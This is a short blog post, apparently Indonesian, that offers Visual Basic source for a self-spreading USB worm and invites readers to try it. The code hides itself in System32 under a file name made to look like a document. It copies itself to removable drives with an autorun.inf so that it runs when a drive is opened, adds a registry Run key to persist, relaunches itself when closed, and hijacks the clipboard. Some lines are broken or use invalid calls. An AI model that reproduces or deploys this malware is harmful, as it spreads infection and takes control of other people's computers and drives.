Script worm

Private Declare Function GetDriveType Lib "kernel32" Alias _
"GetDriveTypeA" (ByVal nDrive As String) As Long
Const DRIVE_CDROM = 5
Const DRIVE_FIXED = 3
Const DRIVE_RAMDISK = 6
Const DRIVE_REMOTE = 4
Const DRIVE_REMOVABLE = 2
Private Declare Function CopyFile Lib "kernel32" Alias _
"CopyFileA" (ByVal lpExistingFileName As String, ByVal _
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
dim fullpath as string

Private Sub Form_Load()
On Error Resume Next
timer1.interval = 2000
timer2.interval = 2000
timer3.interval = 2000
fullpath = app.path + "\" + app.exename + ".exe"
If App.PrevInstance = True Then End
If Len(Dir$("C:\Windows\System32\Becanda.doc .exe")) = False Then
FileCopy fullpath, "C:\Windows\System32\Becanda.doc .exe"
End If
End Sub

private sub form_terminate
shell(fullpath)
end sub
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText ("virus gila")
End Sub

Private Sub Timer2_Timer()
Dim i As Byte
For i = 1 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i) & "\") = 2 Then
If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then
CopyFile WormFile, Drive1.List(i) & "\Bacaanku.doc .exe", False
SetAttr Drive1.List(i) & "\Bacaanku.doc .EXE", vbReadOnly
filenya = Drive1.List(i) & "\autorun.inf"
Open filenya For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=Bacaanku.doc. exe"
Close 1
SetAttr Drive1.List(i) & "\autorun.inf", vbReadOnly
End If
End If
Next i
End Sub

Private Sub Timer3_Timer()
Call Form_Load
End Sub

Private Sub InfectSystem()
On Error Resume Next
Dim reg As Object
Dim kiddie As Variant
Dim sysfolder As Object
Set reg = CreateObject(Wscript.Shell)
Set kiddie = CreateObject("scripting.filesystemobject")
If GetDriveType(Drive1.List(i) & "\") = 2 Then
FileCopy WormFile, "C:\Windows\System32\Becanda.doc .exe"
reg.RegString "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windll", "C:\Windows\System32\Becanda.doc .exe"
End If
End Sub


selamat mencicipi..

Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati